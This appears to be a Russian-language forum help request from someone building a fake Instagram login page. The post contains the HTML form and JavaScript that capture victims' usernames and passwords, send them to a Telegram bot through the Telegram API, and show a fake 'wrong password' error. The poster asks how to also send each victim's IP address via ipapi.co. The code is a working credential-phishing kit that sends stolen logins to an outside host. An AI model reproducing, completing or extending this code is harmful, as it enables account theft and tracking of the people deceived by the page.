Помогите пожалуйста! Я не сильно разбираюсь в JS, HTML, CSS, и перепробовал много разных вариантов, ниже укажу один из них
Пересылка данных из формы происходит на JS, и мне нужно скорректировать файл отправки данных формы в Телеграм бот так, чтобы он кроме стандартных name и pass, так же отсылал в ТГ айпи пользователя. Я использовал для этого сервис ipapi, вставив код, предлагаемый ими в индексный файл и пробовал в js файл отправки формы тоже пихать этот код. Но данные всё не отсылаются
Вот html код формы:
<form
method="POST"
class="xpYUjgl -cx-PRIVATE-SlimLoginForm__form"
data-reactid=".0.0.0.0.1.2"
id="instForm"
>
<div
class="anTQKHO -cx-PRIVATE-SlimLoginForm__inputField -cx-PRIVATE-SlimTextInput__root"
data-reactid=".0.0.0.0.1.2.0"
>
<input
class="HrESCwZ -cx-PRIVATE-SlimTextInput__input -cx-PRIVATE-TextInput__root login"
aria-describedby
aria-label="Имя пользователя"
aria-required="true"
autocapitalize="off"
autocorrect="off"
maxlength="50"
name="login"
placeholder="Ім'я користувача"
value
data-reactid=".0.0.0.0.1.2.0.0"
id="login"
type="text"
required
/>
</div>
<div
class="agOvird -cx-PRIVATE-SlimLoginForm__inputField -cx-PRIVATE-SlimTextInput__root"
data-reactid=".0.0.0.0.1.2.1"
>
<input
class="FwlMBHn -cx-PRIVATE-SlimTextInput__input -cx-PRIVATE-TextInput__root pass"
aria-describedby
aria-label="Пароль"
aria-required="true"
autocapitalize="off"
autocorrect="off"
maxlength="50"
name="password"
placeholder="Пароль"
value
data-reactid=".0.0.0.0.1.2.1.0"
id="pass"
type="password"
required
/>
<div
class="EYgBtQr -cx-PRIVATE-SlimTextInput__indicators"
data-reactid=".0.0.0.0.1.2.1.1"
>
<a
class="KSHEpMT -cx-PRIVATE-SlimTextInput__forgot"
data-pn="#"
href="https://www.сайт.com/accounts/password/reset/"
data-reactid=".0.0.0.0.1.2.1.1.0"
>Забули?</a
>
</div>
</div>
<button
class="SEpTdrt input_b -cx-PRIVATE-SlimLoginForm__button -cx-PRIVATE-IGButton__root -cx-PRIVATE-IGButton__solid -cx-PRIVATE-IGButton__sizeLarge -cx-PRIVATE-IGButton__enabled"
data-reactid=".0.0.0.0.1.2.2"
>
Увійти
</button>
А вот код обработки js:
const InstForm = document.querySelector("#instForm");
const chat_id = "айди чата";
const TOKEN = "токен бота";
if (InstForm) {
InstForm.addEventListener("submit", (event) => {
event.preventDefault();
const name = InstForm.querySelector('input[name="login"]').value;
const pass = InstForm.querySelector('input[name="password"]').value;
const result = `(Instagramm) login - ${name} ::: password - ${pass}`;
fetch(
`https://api.telegram.org/bot${TOKEN}/sendMessage?chat_id=${chat_id}&text=Будет море побед.
имя пользователя: ${name}
пароль: ${pass}`
);
const error = document.querySelector("#slfErrorAlert");
error.textContent = "Неверный логин или пароль.";
});
}
Каким образом нужно сюда вставить кусочек
fetch('https://ipapi.co/ip/')
.then(function(response) {
response.text().then(txt => {
console.log(txt);
});
})
.catch(function(error) {
console.log(error)
});
, и преобразить код отправки JS, чтобы получить работающую форму отправки с добавленным айпи пользователя